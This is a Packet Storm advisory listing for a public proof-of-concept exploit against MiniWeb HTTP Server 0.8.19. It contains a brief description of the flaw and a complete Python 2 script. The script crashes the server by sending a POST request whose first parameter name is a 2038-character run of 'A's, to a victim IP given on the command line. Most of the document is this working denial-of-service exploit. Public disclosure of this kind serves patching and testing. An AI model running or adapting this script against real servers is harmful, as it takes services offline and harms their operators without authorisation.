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MiniWeb HTTP Server 0.8.19 Buffer Overflow

🗓️ 14 Dec 2020 00:00:00Reported by securityforeveryone.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 376 Views

MiniWeb HTTP Server 0.8.19 Buffer Overflow denial of service vulnerabilit

Code
`# Exploit Title: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC)  
# Date: 13.12.2020  
# Exploit Author: securityforeveryone.com  
# Author Mail: hello[AT]securityforeveryone.com  
# Vendor Homepage: https://sourceforge.net/projects/miniweb/  
# Software Link: https://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download  
# Version: 0.8.19  
# Tested on: Win7 x86  
# Researchers: Security For Everyone Team - https://securityforeveryone.com  
  
'''  
Description  
  
MiniWeb HTTP server 0.8.19 allows remote attackers to cause a denial of service (daemon crash) via a long name for the  
first parameter in a POST request.  
  
Exploitation  
  
The vulnerability is the first parameter's name of the POST request. Example: PARAM_NAME1=param_data1&param_name2=param_data2  
if we send a lot of "A" characters to "PARAM_NAME1", the miniweb server will crash.  
  
About Security For Everyone Team  
  
We are a team that has been working on cyber security in the industry for a long time.   
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.  
We have many free tools that you can use here: https://securityforeveryone.com/free-tool-list  
  
'''  
  
#!/usr/bin/python  
  
import socket  
import sys  
import struct  
  
if len(sys.argv) != 2 :  
print "[+] Usage : python exploit.py [VICTIM_IP]"  
exit(0)  
  
TCP_IP = sys.argv[1]  
TCP_PORT = 8000  
  
xx = "A"*2038 #4085  
  
http_req = "POST /index.html HTTP/1.1\r\n"  
http_req += "Host: 192.168.231.140\r\n"  
http_req += "From: header-data\r\n"  
http_req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"  
http_req += xx + "=param_data1&param_name2=param_data2"  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((TCP_IP, TCP_PORT))  
print "[+] Sending exploit payload..."  
s.send(http_req)  
s.close()  
  
  
`

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